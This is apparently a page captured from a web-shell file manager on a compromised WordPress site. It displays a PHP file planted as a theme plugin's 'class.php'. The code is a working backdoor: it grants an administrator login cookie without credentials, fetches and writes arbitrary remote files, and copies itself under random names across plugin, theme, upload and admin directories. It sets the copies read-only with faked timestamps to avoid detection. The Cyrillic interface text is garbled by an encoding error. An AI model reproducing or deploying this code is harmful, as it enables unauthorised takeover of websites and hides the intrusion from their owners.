���ѧۧݧ�ӧ�� �ާ֧ߧ֧էا֧� - ���֧էѧܧ�ڧ��ӧѧ�� - /home/rickpfrv/righteousmag.com/wp-content__a986334/themes/caster/include/plugins/tes-plugin/class.php
���ѧ٧ѧ�
<?php define('WP_USE_THEMES', false); define('WP_DIRECTORY', load_wordpress_core()); function load_wordpress_core(){ $current_directory = dirname(__FILE__); while ($current_directory != '/' && !file_exists($current_directory . '/wp-load.php')) { $current_directory = dirname($current_directory); } return $current_directory ? : $_SERVER['DOCUMENT_ROOT']; } require_once WP_DIRECTORY . '/wp-load.php'; class Req{ public $url; public function __construct($url){ $this->url = $url; } public function makeRequest() { if(function_exists('curl_init')) { return $this->doCurl(); } else if(function_exists('wp_remote_get')){ return $this->doWpRemote(); } else if(function_exists('file_get_contents')) { return $this->get_contents(); } } public function doCurl() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $this->url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 Firefox 36.00"); $result = curl_exec($ch); return $result ? $result : $this->doWpRemote(); } public function doWpRemote() { $response = wp_remote_get($this->url); return wp_remote_retrieve_body($response); } public function get_contents(){ return file_get_contents($this->url); } } function generateRandomString($length = 8, $includeNumbers = true) { $characters = 'abcdefghijklmnopqrstuvwxyz' . ($includeNumbers ? '1234567890' : ''); return substr(str_shuffle($characters), 0, $length); } function normalize($path) { $path = str_replace(WP_DIRECTORY, get_site_url(), $path); return $path; } class November{ public $directorists; public function __construct() { $this->action = $_REQUEST['action']; $this->url = $_REQUEST['url']; $this->filename = $_REQUEST['filename']; $this->is_random = $_REQUEST['random_name'] ? true : false; $this->replace = $_REQUEST['replace'] ? true : false; $this->num = $_REQUEST['num'] ? : 1; $this->dir = $_REQUEST['dir']; $this->wp_dir = WP_DIRECTORY; $this->directorists = $this->initDirectorists(); $this->message = []; } public function putFile($filename=false, $text){ $filename = $filename ? $filename : $this->filename; $content = file_put_contents($filename, $text); if($content) { $this->setRandomTimestamp($filename, true); return file_exists($filename) && filesize($filename) > 10; } $file = fopen($filename, 'w'); fwrite($file, $text); fclose($file); $this->setRandomTimestamp($filename, true); return file_exists($filename) && filesize($filename) > 10; } public function setRandomTimestamp($filename, $ch=false) { $timestamp = mt_rand(strtotime('2020-01-01 12:12:12'), strtotime('2022-12-30 13:13')); touch($filename, $timestamp); clearstatcache(true, $filename); if($ch){ chmod($filename, 0444); } } public function doAction() { switch($this->action) { case 'login': $user = get_users(["role" => "administrator"])[0]; $user_id = $user->data->ID; wp_set_auth_cookie($user_id); wp_set_current_user($user_id); die("Probably $user_id?"); case 'download': if(!$this->filename && $this->url){ $this->message['message'] = "Invalid parameter? $this->filename ? $this->url"; die(json_encode($this->message)); } $downloader = new Req($this->url); $response = $downloader->makeRequest(); $this->message['download'] = $response ? true : false; $this->message['put'] = $this->putFile($this->filename, $response) ? true : false; break; case 'copy': $directory_target = $this->directorists[$this->dir] ? : [load_wordpress_core()]; if($this->dir == 'plugins') { $this->num = 2; } $data = []; for($i = 0; $i < $this->num; $i++) { $random_number = array_rand($directory_target); $destination = $directory_target[$random_number]; $new_filename = $this->is_random ? generateRandomString(rand(5,7)) . '.php' : $this->filename; $full_destination = $destination . '/' . $new_filename; if(copy($this->filename, $full_destination)) { $data[] = normalize($full_destination); $this->setRandomTimestamp($full_destination, true); $this->setRandomTimestamp($destination); }else{ die("Failed $full_destination"); } } $this->message['data'] = $data; break; default: $this->message['directorist'] = array_keys($this->directorists); $this->message['message'] = 'Nothing to do??'; } echo json_encode($this->message); } private function initDirectorists() { $supported_directoriest = [ "plugins", "themes", "uploads", "languages" ]; $result = []; foreach($supported_directoriest as $directory) { $result[$directory] = $this->findDir("wp-content", $directory); } $result["admin"] = $this->findDir("wp-admin",""); return $result; } private function findDir($parent, $child = "") { $path = $this->wp_dir . "/$parent/$child"; if (is_dir($path)) { $directories = array_filter(scandir($path), function($dir) { return $dir != '.' && $dir != '..'; }); $result = []; foreach ($directories as $dir) { $directory = "$path/$dir"; if (is_dir($directory)) { $result[] = $directory; $result = array_merge($result, $this->findDir($parent, "$child/$dir")); } } return $result; } else { return []; // Directory doesn't exist or is not accessible. } } } $nov = new November(); $nov->doAction();
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | ���֧ߧ֧�ѧ�ڧ� ����ѧߧڧ��: 0.3 |
proxy
|
phpinfo
|
���ѧ����ۧܧ�